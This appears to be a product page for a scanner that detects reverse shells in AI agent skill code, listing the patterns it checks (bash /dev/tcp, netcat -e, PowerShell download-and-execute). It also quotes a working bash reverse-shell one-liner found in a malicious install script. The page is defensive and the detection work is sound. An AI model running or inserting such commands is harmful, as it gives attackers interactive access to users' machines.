Detection
critical riskReverse Shell Detection
Detect bash TCP, netcat, and PowerShell reverse shells in skill code
What it is
A reverse shell is a technique where a compromised system initiates an outbound connection to an attacker-controlled server, which gives the attacker interactive shell access. Unlike a bind shell (where the attacker connects to a port on the victim), a reverse shell works through firewalls and NAT because the connection goes outbound from the victim. In AI agent skills, reverse shells are typically embedded in initialization scripts or post-install hooks.
How TrustSkills detects it
TrustSkills checks skill scripts for the specific shell invocation patterns used in reverse shell attacks: bash TCP redirects (/dev/tcp/), netcat with -e flag, Python socket + subprocess.call combinations, and PowerShell download-and-execute one-liners. The scanner also checks for obfuscated versions of these patterns where the IP address or port is stored in a variable or fetched from a remote source.
What we check
- bash -i >& /dev/tcp/ patterns (bash TCP reverse shell)
- nc -e /bin/bash and nc -e /bin/sh (netcat reverse shell)
- Python socket + subprocess.call combinations
- PowerShell download-and-execute one-liners (IEX, DownloadString)
- Obfuscated variants where IP/port is constructed from variables or fetched at runtime
Real-world example
A skill's install script included: `bash -i >& /dev/tcp/192.168.1.1/4444 0>&1` — a one-line bash reverse shell that would give the attacker interactive access to the user's machine at first run. TrustSkills flags this as a critical reverse shell finding with the specific pattern matched.
Scan a skill for reverse shell detection now
Paste a ClawHub skill URL or upload a zip. TrustSkills checks for reverse shell detection alongside 6 other threat categories. Free. No account required.
Run a free scan →Glossary
Reverse shell
A technique where a compromised system initiates an outbound connection to an attacker-controlled server, giving the att…
Deep dive
Research briefClawHavoc explained: the supply chain attack that put 1,184 malicious skills on ClawHub
ClawHavoc placed over 1,000 malicious skills on the ClawHub marketplace in early 2026. Understanding the attack pattern is the first step to defending against the next campaign like it.